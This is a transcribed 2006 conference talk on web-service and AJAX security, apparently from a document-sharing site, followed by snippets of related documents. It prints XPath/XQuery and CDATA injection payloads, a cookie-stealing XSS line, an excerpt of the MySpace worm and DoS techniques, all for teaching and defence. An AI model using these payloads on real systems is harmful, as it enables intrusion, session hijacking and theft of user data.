Attacking Web Services
|
|
|
- Jane West
- 10 years ago
- Views:
Transcription
1 Attacking Web Services The Next Generation of Vulnerable Enterprise Applications Alex Stamos cansecwest/core06 Information Security Partners, LLC isecpartners.com
2 Talk Agenda Introduction Who are we? What are Web Services? Where are they being used? Web Services Technologies and Attacks XML SOAP Discovery Methods Traditional Attacks, with a Twist! AJAX Attacks Q&A 2
3 Introduction Who are we? Founding Partners of Information Security Partners, LLC (isec Partners) Application security consultants and researchers Why listen to this talk? As you ll see, Web Services are being deployed all around us Most of this work is based upon our experiences with real enterprise web service applications There are a lot of interesting research opportunities Find out what we don t know To get the latest version of these slides, and the tools we will be demonstrating: The demo Web Service is at: Please don t nuke it! 3
4 What is this talk? Introduction to the relevant technologies for security experts No background in Web Services is necessary Introduce security risks associated with Web Services Many of the protocols and issues are familiar Classic application issues (injection attacks, session management) are still relevant in the WS world Plenty of new protocols and attack surfaces to research Prediction: The next couple of years will see an avalanche of vulnerabilities related to web services issues This talk is not about WS-Security standards Standards for crypto, authorization, authentication, etc are necessary and important Like TLS, standards like this are good building blocks, but do not eliminate vulnerabilities in an application Ex: SSL doesn t protect against SQL injection 4
5 Introduction: What are Web Services? It s an overloaded term (and a great way to raise VC$$) For our purposes, web services are communication protocols that: Use XML as the base meta-language to define communication Provide computer-computer communication Use standard protocols, often controlled by W3C, OASIS, and WS-I Designed to be platform and transport-independent 5
6 Introduction: What are Web Services? Why are they so compelling? Web service standards are built upon well understood technologies Adoption by large software vendors has been extremely quick Web services are sometimes described as a panacea to solve interoperability issues Lots of magic pixie dust provided by vendors Are very easy to write: using System.ComponentModel; using System.Web.Services; namespace WSTest{ public class Test : System.Web.Services.WebService { [WebMethod] public string HelloWorld() { return "Hello World ; } } } 6
7 Introduction: What are Web Services? Value to corporate management is easy to understand Fake quote: Lets expose our Mainframe APIs through SOAP and use plentiful Java developers on Windows/Linux instead of rare CICS developers on expensive mainframes to extend our system s functionality. If we change our mind about Java, no problem; C#, Perl, Python, C++, and every other language is already compatible with SOAP. With that much jargon, what PHB could say no? 7
8 Where are Web Services being used? Between Companies (B2B) Web services are being deployed to replace or supplement older data exchange protocols, such as EDI 3 rd party standards limit Not Invented Here syndrome Example: Credit Card Clearer -> Bank -> Credit Bureau -> Lender Lots of opportunity for savings here Internal to Companies All major corporate software vendors have or will offer web service interfaces to their applications IBM, Microsoft, SAP, Oracle Web service standards make connecting systems easy This is great for IT management and productivity This should be scary to security people 8
9 Where are Web Services being used? In front of legacy systems Finding people to develop on these systems is hard Reliance on old software and systems restricts growth and improvement of corporate IT systems Solution: Web service gateway in front of legacy system IBM is a big mover in this middleware Security in these situations is extremely tricky Between tiers of Web Applications Front end is HTML/XHTML Backend of SQL is replaced by SOAP, XPath, or XQuery XML enabled databases consume these streams Makes X* Injection very interesting 9
10 Where are Web Services being used? On consumer facing web pages AJAX: Asynchronous JavaScript and XML maps.google.com is a common example As APIs to add functionality EBay Google Search Amazon Financial Institutions (OFX over SOAP) As a replacement for thick clients Allows functionality too complicated for traditional HTML & GET/POST Able to simulate UI of older thick clients JavaScript and XMLHTTP is much easier than writing a C++ client 10
11 Code Breaks Free At one point, nobody worried about providing rich functionality to the public Internet People decided this was a bad idea and put up firewalls Only HTTP, HTTPS, SMTP allowed from the outside Web Services tunnel that functionality through ports often deemed safe Rich functionality once again hits the public Internet Let s propose a new slogan: Web Services We poke holes in your firewall so you don t have to! 11
12 New Attacks on Web Services Technologies Web Services have been designed to be everything-agnostic Variety of technologies may be encountered at any layer This talk focuses on those commonly encountered We will discuss security issues at three layers: XML SOAP Discovery 12
13 XML Introduction What is XML? A standard for representing diverse sets of data Representing data is hard work! Binary Data Internationalization Representing metacharacters in data Defining and Validating schemas Parsing mechanisms Result of large problem space Dozens of standards in the XML family XSLT, XSD, XPath, XQuery, DTD, XML-Signature Few people understand most of the technologies Nobody understands all of the aspects of all of technologies 13
14 XML Introduction Based on a few basic but strict rules: Declarations Tags must open and close Tags must be properly nested Case sensitive Must have a root node Why do we care about the rules? Attacking web services generally means creating valid XML If your XML doesn t parse right, it gets dropped early on Fuzzing XML structure might be fun, but you re only hitting the parser Simple example of an element: <car> <manufacturer>toyota</manufacturer> <name>corolla</name> <year>2001</year> <color>blue</color> <description>excellent condition, 100K miles</description> </car> 14
15 XML Introduction Full Legal XML Document w/ Schema Reference and Namespace: <?xml version="1.0" encoding="iso "?> <car xmlns=" xmlns:xsi=" xsi:schemalocation=" car.xsd"> <manufacturer>toyota</manufacturer> <model>corolla</model> <year>2001</year> <color>blue</color> <description>excellent condition, 100K miles</description> </car> 15
16 XML Introduction Schemas XML Documents are defined by: DTD: Old Standard XSD: Current Standard Old Attack: Reference external DTD - allows tracking of document, parsing based DoS attacks XSDs can be standard or custom Standard bodies use them to define file formats Most WS applications use custom XSD Not easy if you desire strict validation XML Schemas are used to: Define the relationship, order, and number of elements Ex: Color is an element of car, the is only one Define the data type and permissible data Ex. Color is a string, and can contain [A-Z][a-z] XML Schemas, properly used, can prevent many of the attacks we discuss here Injection attacks can be limited by input restrictions XML Bombs can be prevented through strict validation There are ways around this, as we will discuss 16
17 XML Introduction Schemas <?xml version="1.0" encoding="iso "?> <xs:schema xmlns:xs=" targetnamespace=" xmlns=" elementformdefault="qualified"> <xs:element name="car"> <xs:complextype> <xs:sequence> <xs:element name="manufacturer" type="xs:string"/> <xs:element name="model" type="xs:string"/> <xs:element name="year"> <xs:simpletype> <xs:restriction base="xs:integer"> <xs:mininclusive value="1904"/> <xs:maxinclusive value="2010"/> </xs:restriction> </xs:simpletype> </xs:element> <xs:element name="color" type="xs:string"/> <xs:element name="description" type="xs:string"/> </xs:sequence> </xs:complextype> </xs:element> </xs:schema> 17
18 XML Introduction Parsing There are two standard types of XML parsers used across platforms SAX: State-oriented, step-by-step stream parsing Lighter weight, but not as intelligent Event driven. Developers often use own state machine on top of parser. Attack: User controlled data overwrites earlier node (XML Injection) DOM: Complicated, powerful parsing Generally not vulnerable to XML Injection Attack: DoS by sending extremely complicated, but legal, XML Creates huge object in memory Why use other types of floods to attack? XML parsing gives a much larger multiplier Always a bad idea: custom parsers I can use a RegEx for that! Um, no. It is common to simulate SAX parsers as they are simple conceptually. Plenty of devils in the details: XML tags inside CDATA block, entity substitution, character sets 18
19 Our Friend: CDATA Field XML has a specific technique to include non-legal characters in data, the CDATA field Developers assume that certain data types cannot be embedded in XML, and these assumptions can lead to vulnerabilities When querying a standard commercial XML parser, the CDATA component will be stripped The resulting string contains the non-escaped dangerous characters Existance of CDATA tag is visible as sub-node in DOM, but only if you ask! Where is your input filtering? Where to use this? SQL Injection XML Injection XPath Injection XSS (Against a separate web interface) Examples: <TAG1> <![CDATA[<]]>SCRIPT<![CDATA[>]]> alert( XSS ); <![CDATA[<]]>/SCRIPT<![CDATA[>]]> </TAG1> <TAG2> <![CDATA[ or 1=1 or = ]]> </TAG2> 19
20 What is XPath? XPath is a simple language to locate information in an XML document Cross between directory browsing and RegEx XPath 2.0 is the basis for XQuery language, XML successor to SQL XPath always returns a set of results XPath against our simple car example: <car> <manufacturer>toyota</manufacturer> <name>corolla</name> <year>2001</year> <color>blue</color> <description>excellent condition, 100K miles</description> </car> car returns all children of car node /car returns the root car element //car returns all car elements in the document car//color returns all colors under car element //car/[color= blue ] returns all cars that have a color child equal to blue 20
21 XPath Injection XPath can be used to access a XML-Enabled Database SQL Server 2000 and 2005 Oracle (8i+) Access IBM Informix Berkeley DB XML - Native XML Database What is the problem? Like SQL, XPath uses delimiters to separate code and data Our old friend, single quote: Unlike SQL There is no access control inherent in XML or XPath Prepared statements are rarely used, not guaranteed safe If an attacker can control data in an XPath statement, they can access arbitrary parts of the XML file, or return arbitrary data 21
22 XPath Injection An example use of XPath Looking up Username/Password in XML //user[name= Joe and pass= letmein ] - Return the user with this name and pass. With Simple XPath Injection: or 1=1 or = //user[name= Joe or 1=1 or = and pass= letmein ] Return all of the users With XPath Injection: or userid=1 or = //user[name= Joe or userid=1 or = and pass= letmein ]/userid Return all of the users with userid=1 22
23 Example Vulnerable Code C# public UserData LoginUser(string Login, string Password) { UserData user = new UserData(); string xpathquery = "/Users/User[attribute::Login='" + Login + "' and attribute::password='" + Password + "']/*"; XPathNodeIterator xpathiter = xpathnav.select(xpathquery); Java public String searchforuser(int sessionid, String name) { StringBuffer sb = new StringBuffer(); JXPathContext context = JXPathContext.newContext( users ); String xpath = "/Users/User[@Login='" + name + "']/City"; xpath += " /Users/User[@Login='" + name + "']/State" ; xpath += " /Users/User[@Login='" + name + "']/ "; Iterator i = context.iterate( xpath ); 23
24 XQuery XQuery Injection is the Future XPath injection is soooooooo 5 minutes ago New standard for all major databases Hopefully a tighter standard than SQL has been Superset of XPath 2.0 Program flow, conditional statements: for, if-then-else, etc... Default provided functions User-defined functions Ex: Access control becoming standard, based on XACML Simplest translation of XPath into XQuery: doc(users.xml)//user[name= Joe and pass= letmein ] now need to specify document Simplest injection into XQuery: doc(users.xml)//user[name= Joe or 1=1 or = and pass= letmein ] 24
25 XQuery Additions New features Functions contains, substring, last, position, sql:column doc( users.xml )//user[contains(name, Joe ) and contains(password, Foo )] doc( users.xml )//user[contains(name, Joe ) or contains(., * ) and contains(password, Foo )] FLWOR For, let, where, order by, and return for $user in doc( users.xml )//user where $user/name = Joe and $user/password = Foo return <print_item> $user/ /text() </print_item> 25
26 XQuery Testing Install SQL Server 2005 Express Edition Open up SQL Server Management Studio New query: xml = '<?xml version="1.0" encoding="utf-8"?> <Users> <User Login="root" Password="r00t"> <ID>0</ID> <FirstName>root</FirstName> <LastName></LastName> <Address>123 Test St.</Address> <City>Las Vegas</City> <State>NV</State> < >[email protected]</ > </User> </Users>' Double Injection Jeopardy 26
27 XML Injection Emerging attack class: XML Injection Occurs when user input passed to XML stream Attack against data structure serialization XML attacked as parsed by system or record or in SOAP response XML can be injected through application, stored in DB When retrieved from DB, XML is now part of the stream <UserRecord> <UniqueID>12345</UniqueID> <Name>Henry Ackerman</Name> ad.com</ > <Address>123 Disk Drive</Address> <ZipCode>98103</ZipCode> <PhoneNumber> </PhoneNumber> </UserRecord> XPath Result: UniqueID=0* *Kinda 27
28 SOAP Introduction SOAP is a standard which defines how to use XML to exchange data between programs Designed to capture RPC-style communication Generally over HTTP/S, but this isn t required MSMQ, SMTP, Carrier Pigeon The magic of Web Services begins Programming infrastructure turns 9-line code sample into full-fledged web service Ease of deployment sometimes masks deeper security issues Serialization Schema Validation Attacks against layers of the stack are often left open 28
29 SOAP - WSDLs SOAP Interfaces are described using Web Services Description Language (WSDL) WSDLs can be quite complicated Generally not created or consumed by human being Auto-generated by WS framework No access controls generally enforced on WSDLs Generally, requesting a WSDL is as simple as adding a?wsdl argument to the end of the URL Ask for servicename.wsdl Get WSDL location from UDDI or service registry Many commercial APIs are written by hand WSDLs give an attacker everything necessary to interface with the service Makes writing a generally universal fuzzer possible Do you absolutely need to provide WSDLs? Will arbitrary clients connect to this service? Will other people be implementing clients? 29
30 SOAP - WSDLs What do WSDLs define? types: Data types that will be used by a web service We will use XML Schema standard strings and integers message: A one way message, made up of multiple data elements. Message BuyCar includes string Manufacturer and string Model porttype: A set of messages that define a conversation Purchase: Client sends message BuyCar and receives message Receipt binding: Details on how this web service is implemented with SOAP We will be using RPC doc types using these namespaces service: The location where this service can be found You can use purchase at 30
31 Example WSDL: EBay Price Watching <?xml version="1.0"?> <definitions name="ebaywatcherservice" targetnamespace= " xmlns:tns=" ce.wsdl" xmlns:xsd=" xmlns:soap=" xmlns=" <message name="getcurrentpricerequest"> <part name="auction_id" type = "xsd:string"/> </message> <message name="getcurrentpriceresponse"> <part name="return" type = "xsd:float"/> </message> <porttype name="ebaywatcherporttype"> <operation name="getcurrentprice"> <input message="tns:getcurrentpricerequest" name="getcurrentprice"/> <output message="tns:getcurrentpriceresponse" name="getcurrentpriceresponse"/> </operation> </porttype> <binding name="ebaywatcherbinding" type="tns:ebaywatcherporttype"> <soap:binding style="rpc" transport=" > <operation name="getcurrentprice"> <soap:operation soapaction=""/> <input name="getcurrentprice"> <soap:body use="encoded" namespace="urn:xmethods-ebaywatcher" encodingstyle=" coding/"/> </input> <output name="getcurrentpriceresponse"> <soap:body use="encoded" namespace="urn:xmethods-ebaywatcher" encodingstyle=" coding/"/> </output> </operation> </binding> 31
32 SOAP WSDL Exposure Attack: WSDLs give away all of the sensitive information needed to attack a web application This includes hidden or debug methods that developers might not want exposed These method have always existed Real danger with applications ported to web services from normal web interface Companies have always had cruft systems that are protected by obscurity You know about that 1:00AM FTP batch job your company does unencrypted over the Internet. Do you want everybody in this room to know about it? Extranets, customer portals, one-off links to other businesses These secret attack surfaces will be exposed through standardization on web service infrastructures Defense: Manually review WSDLs to look for dangerous functions We ve heard of people manually editing them out. Automagic processes might restore those Debug functionality MUST be removed in a repeatable manner before deployment to production Secure development lifecycle is not just marketing BS 32
33 SOAP Attacks SOAP Headers Provide instructions on how a message should be handled Often not necessary in basic applications Still parsed/obeyed by WS frameworks So many standards, so many attack surfaces Header allows arbitrarily complex XML to support future standards Attack: XML Complexity DoS in SOAP Header Not checked against XSD Attack: Source routing used to bypass security checks Routing will become more common as companies provide unified WS interfaces to multiple machines Possibly provided by XML Firewall devices SOAPAction Header Sometimes needed, sometimes filtered to attempt to remove soap requests. Often not required at all. Configurable in.net with RoutingStyle attributes Attack: Bypass protections that rely on SOAPAction 33
34 SOAP Attacks Session management SOAP, like HTTP, is stateless! Developers need to program their own state mechanism. Options include: In-line SessionID, defined Cookie in header SOAP is transport independent, so a message should be able to be passed without session information from the transport, such as a HTTP cookie Often used, but it s a hack Attack: Cookies might be stripped at the web server, or not properly routed to the part of the app where decisions are being made. Watch out! New WS-I cryptographic standards might allow developers to bootstrap state Classic state attacks work Predictable IDs are still predictable But, XSS cannot easily access in-band stateid Attack: SOAP, being stateless, might make applications vulnerable to replay attacks Need to make sure XML cryptographic protections also include anti-replay 34
35 Example SOAP Message Spot the attack! <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle=" xmlns:soap-enc=" xmlns:xsi=" xmlns:soap-env=" xmlns:xsd=" <SOAP-ENV:Body> <ns1:logonuser xmlns:ns1=" SOAP-ENC:root="1"> <username xsi:type="xsd:string">'</username> <password xsi:type="xsd:string">default</password> </ns1:logonuser> </SOAP-ENV:Body> </SOAP-ENV:Envelope> 35
36 SOAP Fault Example Fault from XPath Injection <?xml version="1.0" encoding="utf-8"?> <soap:envelope xmlns:soap=" xmlns:xsi=" xmlns:xsd=" <soap:body> <soap:fault> <faultcode>soap:server</faultcode> <faultstring>server was unable to process request. --> '/Users/User[attribute::Login=''' and attribute::password='default']/*' has an invalid token.</faultstring> <detail /> </soap:fault> </soap:body> </soap:envelope> 36
37 Web Services DoS We have created several XML complexity DoS attacks Simple PERL replays of SOAP requests Able to randomize session information Most attack Application Server / XML Parser, not application logic itself Like all DoS, looking for multiplier advantage CPU Time Extremely deep structures require CPU time to parse and search References to external documents Cause network timeout during parsing, may block process Creating a correct DOM for complex XML is not trivial Memory Space Deep and broad structures Large amounts of data in frequently used fields will be copied several times before being deleted Memory exhaustion is almost impossible against production systems, but creating garbage collection / VM overhead might slow the system Database Connections Applications often use fixed DB connection pools Despite low CPU/mem load, filling the DB request queue can wait state an application to death Need to find a good SOAP request that does not require auth, but results in a heavy DB query Perfect example: Initial User Authentication A production site might have Web/App servers, but only 2 HA databases 37
38 Web Services DoS In any WS DoS case, there are important details to make the attack effective Legality of SOAP request Matches DTD/XSD Syntax. This might not preclude embedding complex structures! Matches real SOAP Method Anything that burrows deeper into the application stack causes more load Especially important when attacking databases Might need a valid session ID Authenticate once with a real SOAP stack, then copy the SessionID/cookie into the static attack Speed We use multiple processes Making a request is relatively heavy compared to other DoS Requires a real TCP connection Don t use a SOAP framework. Most of the multiplier is lost Need to listen for response for some attacks We often run into limitations of the underlying Perl framework Attack scripts run better on Linux Perl than ActiveState on Windows 38
39 Web Service DoS: The Aftermath We are currently researching some more possibilities Attacks against XPath equivalent to recent RegEx DoS Using HTTP 1.1 pipelining to speed attack Dropping connections or resetting at the right moment Defense isn t easy Application server vendors need to add DoS into negative QA testing There doesn t seem to be much customer demand yet DoS yourself before somebody else does it for free Need to check complexity before parsing Secure SOAP handler ISAPI filter XML Firewall Use strict XML Schema verification Watch out for <any> element Don t forget the nooks and crannies attackers can shove code into SOAP Headers! 39
40 Web Service Discovery Methods UDDI Registries that list web services across multiple servers Auto-magically works on some systems, such as.net Multiple authorities have created classification schemes Winner is not yet clear Not necessary to expose to world B2B services that were always insecure were at least secret are now advertised to entire world UDDI servers support authentication and access control, but this is not always the default (or common) configuration for Internet accessible services Attack: UDDI points an attacker to all the information they need to attack a web service UDDI Business Registry (UBR) *Hi, fyodor Four major servers, run by IBM, Microsoft, SAP, and NTT Has beautiful, searchable interface to find targets Obviously, also searchable by web services Attack: No binding authentication of registry New WS-Security standards are building a PKI to authenticate UBR->Provider->Service Not deployed yet. Companies are fighting over the standards and contracts. Confusion might be an attackers friend Who needs nmap*? UBR points you right to the source! 40
41 UBR Example 41
42 Web Service Discovery Service Oriented Architectures Another VC magnet buzzword Means delayed binding of applications World of systems finding and talking to other systems autonomously Will always require open registries of web service information Will eventually need proper PKI infrastructure Other 3rd Party Registries has an excellent list of fun services DISCO / WS-Inspection Lightweight versions of UDDI Provides information about a single server s web services DISCO files are automagically generated by Visual Studio.Net 42
43 Traditional Application Attacks Every (most) applications accomplish something useful There is always something to attack Application-specific flaws don t magically go away Design Flaws Business Logic Errors Bad Idea Methods The same issues (OWASP Top 10) that have plagued us for years still exist 43
44 Traditional Application Attacks SQL Injection Most web service applications are still backed by databases SOAP/XML provide means to escape/obfuscate malicious characters Overflows in unmanaged code Several frameworks exist to wrap old code in web services.net Remoting: Win32 COM Objects exposed through SOAP Backend processing systems are often still legacy Mistakes in authorization/authentication Worsened by stateless nature of SOAP and lack of industry standard for state management Auto-discovery mechanisms tell you everything that you can ask for! 44
45 Traditional Application Attacks XSS not applicable in full SOAP environments Attacks against other interfaces (such as internal customer support) more likely Use web service to insert malicious script, call number, ask them to bring up your file, and But in AJAX. 45
46 AJAX Intro Common AJAX Mechanism: 1. Download HTML and Framework Script 2. Upstream XML, JSON or JavaScript Arrays 3. Downstream eval-able Javascript 46
47 AJAX Vulnerabilities XSS Attacker-controlled input now running inside a Javascript Block Don t need a <script> tag, just to break out of escaping Usually two levels of escaping eval( var downstreamarray = new Array(); downstreamarray[0] = foo ; alert ); // ; ); The domain of dangerous characters is much larger How many ways to break out when your code is already inside of JavaScript? XML Injection In situations where response is full XML <downstreaminfo> <item>foo</item><dangerousitem>bar</dangerousitem><item></item> </downstreaminfo> Next up: JSON Injection! 47
48 AJAX to XSS in Browsers Sometimes AJAX doesn t use HTTP POST GETs can be lighter weight If an AJAX app returns JavaScript (or arrays or JSON) from a GET, it creates transient XSS thru linking Attacker opens an account at WebMail.com Webmail.com uses a GET to get message source in array Attack 1. Attacker sends himself with script in it 2. Attacker reads his , sees that the URL to get it is: 3. Attacker sends victim same link 4. Victim gets this code: var messagearray = new Array(); messagearray[0] = <script>var i = new Image(); i.src= + document.cookie;</script> 48
49 AJAX Vulns AJAX XSRF Asynchronous JavaScript and XML Cross-Site Request Forgery Whew! XMLHTTP Object is supposed to deny cross-domain 2-way communication Several browser bugs later Certain common plugins allow this by design Lots of web developers want this restriction loosened* XMLHTTP POSTing is not restricted 1. User has stock ticket open with AJAX stream 2. User goes to BadGuy.com 3. BadGuy.com creates an iframe, writes code into iframe DOM, executes iframe method 4. iframe does XMLHTTP request to stocktrader.com, browser automatically appends cookie Bottom Line: All AJAX apps that only rely on cookies are vulnerable Alex tells a funny anecdote here Solution: In-band state management Generate a token, include with requests *Google for XMLHTTP Cross-Domain 49
50 MySpace XSS Worm main(){ var AN=getClientFID(); var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&M ytoken='+l; J=getXMLObj(); httpsend(bh,gethome,'get'); xmlhttp2=getxmlobj(); httpsend2('/index.cfm?fuseaction=invite.addfriend_verify&fri endid= &mytoken='+l,processxform,'get')} function processxform(){ if(xmlhttp2.readystate!=4){return} var AU=xmlhttp2.responseText; var AQ=getHiddenParameter(AU,'hashcode'); var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friendID']=' '; AS['submit']='Add to Friends'; httpsend2('/index.cfm?fuseaction=invite.addfriendsprocess&my token='+ar,nothing,'post',paramstostring(as)) } 50
51 Our Attack Tools WSBang Takes URL of WSDL as input Can be found using WSMap Fuzzes all methods and parameters in the service Identifies all methods and parameters, including complex parameters Fuzzes parameters based on type specified in WSDL Default values can be specified as well Reports SOAP responses and faults Future work Support document-style web services WSMap Takes WebScarab logs as input Good for reversing AJAX or thick WS clients Checks for WSDL and DISCO files Recursively finds implied directories Checks for default locations We need your help growing this list! Future work Find UDDI servers in CIDR ranges Integration with WSBang: Discover and Fuzz within defined limits! 51
52 Attack Tree: Tying it all Together Navigate to UBR, ask for a site Attach to UDDI server, ask for list of services Ask service for its WSDL Examine WSDL, find dangerous methods Use WSBang to test methods, find XML Injection Use XML Injection to change your user_id Profit! 52
53 OWASP Top 10 Still Relevant? 1. Unvalidated Input 2. Broken Access Control 3. Broken Authentication and Session Management 4. Cross Site Scripting (XSS) Flaws 5. Buffer Overflows 6. Injection Flaws 7. Improper Error Handling 8. Insecure Storage 9. Denial of Service 10.Insecure Configuration Management The answer to all of these is YES. 53
54 Conclusion Web Services are powerful, easy-to-use, and open. AKA: they are extraordinarily dangerous Many crusty corporate secrets will now be exposed Ajax apps are more complicated, less secure Lots of security work still required Analysis of rapidly developing Web Services standards WS-Security WS-Routing WS-Inspection WS- Everything Attack Tools Better proxies More efficient DoS Better automated discovery Define best practices for development XML Firewall vendors want this to be a hardware solution Like all good security, it really needs to be baked into the product by the engineers closest to the work PKI Infrastructure for Authentication Who will control the cryptographic infrastructure? 54
55 Shameless Plug Slide isec Partners is hiring! Looking for experienced consultants and researchers! Interesting projects! Lots of punctuation! Text, HTML, or PDF resume to: Buy Himanshu s Book! Securing Storage Amazon link at 55
Strategic Information Security. Attacking and Defending Web Services
Security PS Strategic Information Security. Attacking and Defending Web Services Presented By: David W. Green, CISSP [email protected] Introduction About Security PS Application Security Assessments
Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet
Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet March 8, 2012 Stephen Kost Chief Technology Officer Integrigy Corporation Phil Reimann Director of Business Development
What is Web Security? Motivation
[email protected] http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management
What is an? s Ten Most Critical Web Application Security Vulnerabilities Anthony LAI, CISSP, CISA Chapter Leader (Hong Kong) [email protected] Open Web Application Security Project http://www.owasp.org
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
The following is intended to outline our general product direction. It is intended for information purposes only, and may not be incorporated into
The following is intended to outline our general product direction. It is intended for information purposes only, and may not be incorporated into any contract. It is not a commitment to deliver any material,
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair [email protected] COO, Aspect Security [email protected] Copyright 2007 - The Foundation This work is available
1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications
1. Introduction 2. Web Application 3. Components 4. Common Vulnerabilities 5. Improving security in Web applications 2 What does World Wide Web security mean? Webmasters=> confidence that their site won
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
Last update: February 23, 2004
Last update: February 23, 2004 Web Security Glossary The Web Security Glossary is an alphabetical index of terms and terminology relating to web application security. The purpose of the Glossary is to
Web Application Vulnerability Testing with Nessus
The OWASP Foundation http://www.owasp.org Web Application Vulnerability Testing with Nessus Rïk A. Jones, CISSP [email protected] Rïk A. Jones Web developer since 1995 (16+ years) Involved with information
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
Thick Client Application Security
Thick Client Application Security Arindam Mandal ([email protected]) (http://www.paladion.net) January 2005 This paper discusses the critical vulnerabilities and corresponding risks in a two
DocuSign Connect Guide
Information Guide 1 DocuSign Connect Guide 2 Copyright 2003-2014 DocuSign, Inc. All rights reserved. For information about DocuSign trademarks, copyrights and patents refer to the DocuSign Intellectual
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper Securing Web Applications As hackers moved from attacking the network to attacking the deployed applications, a category
Getting started with OWASP WebGoat 4.0 and SOAPUI.
Getting started with OWASP WebGoat 4.0 and SOAPUI. Hacking web services, an introduction. Version 1.0 by Philippe Bogaerts [email protected] www.radarhack.com Reviewed by Erwin Geirnaert
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions [email protected] Agenda Current State of Web Application Security Understanding
XML Processing and Web Services. Chapter 17
XML Processing and Web Services Chapter 17 Textbook to be published by Pearson Ed 2015 in early Pearson 2014 Fundamentals of http://www.funwebdev.com Web Development Objectives 1 XML Overview 2 XML Processing
Web Services Technologies
Web Services Technologies XML and SOAP WSDL and UDDI Version 16 1 Web Services Technologies WSTech-2 A collection of XML technology standards that work together to provide Web Services capabilities We
Web Application Security
E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary
Web Application Security
Web Application Security Prof. Sukumar Nandi Indian Institute of Technology Guwahati Agenda Web Application basics Web Network Security Web Host Security Web Application Security Best Practices Questions?
Web application security
Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010 (non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0
Ruby on Rails Secure Coding Recommendations
Introduction Altius IT s list of Ruby on Rails Secure Coding Recommendations is based upon security best practices. This list may not be complete and Altius IT recommends this list be augmented with additional
Sitefinity Security and Best Practices
Sitefinity Security and Best Practices Table of Contents Overview The Ten Most Critical Web Application Security Risks Injection Cross-Site-Scripting (XSS) Broken Authentication and Session Management
How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering
How to break in Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering Time Agenda Agenda Item 9:30 10:00 Introduction 10:00 10:45 Web Application Penetration
Chapter 1 Web Application (In)security 1
Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefits of Web Applications 5 Web Application Security 6 "This Site Is
Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft
Finding and Preventing Cross- Site Request Forgery Tom Gallagher Security Test Lead, Microsoft Agenda Quick reminder of how HTML forms work How cross-site request forgery (CSRF) attack works Obstacles
Basic & Advanced Administration for Citrix NetScaler 9.2
Basic & Advanced Administration for Citrix NetScaler 9.2 Day One Introducing and deploying Citrix NetScaler Key - Brief Introduction to the NetScaler system Planning a NetScaler deployment Deployment scenarios
Web-Service Example. Service Oriented Architecture
Web-Service Example Service Oriented Architecture 1 Roles Service provider Service Consumer Registry Operations Publish (by provider) Find (by requester) Bind (by requester or invoker) Fundamentals Web
How To Protect A Web Application From Attack From A Trusted Environment
Standard: Version: Date: Requirement: Author: PCI Data Security Standard (PCI DSS) 1.2 October 2008 6.6 PCI Security Standards Council Information Supplement: Application Reviews and Web Application Firewalls
Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified
Standard: Data Security Standard (DSS) Requirement: 6.6 Date: February 2008 Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified Release date: 2008-04-15 General PCI
Adobe Systems Incorporated
Adobe Connect 9.2 Page 1 of 8 Adobe Systems Incorporated Adobe Connect 9.2 Hosted Solution June 20 th 2014 Adobe Connect 9.2 Page 2 of 8 Table of Contents Engagement Overview... 3 About Connect 9.2...
What is a Web service?
What is a Web service? Many people and companies have debated the exact definition of Web services. At a minimum, however, a Web service is any piece of software that makes itself available over the Internet
Core Feature Comparison between. XML / SOA Gateways. and. Web Application Firewalls. Jason Macy [email protected] CTO, Forum Systems
Core Feature Comparison between XML / SOA Gateways and Web Application Firewalls Jason Macy [email protected] CTO, Forum Systems XML Gateway vs Competitive XML Gateways or Complementary? and s are Complementary
Last Updated: July 2011. STATISTICA Enterprise Server Security
Last Updated: July 2011 STATISTICA Enterprise Server Security STATISTICA Enterprise Server Security Page 2 of 10 Table of Contents Executive Summary... 3 Introduction to STATISTICA Enterprise Server...
Internationalization and Web Services
Internationalization and Web Services 25 th Internationalization and Unicode Conference Presented by Addison P. Phillips Director, Globalization Architecture webmethods, Inc. 25 th Internationalization
Getting started with API testing
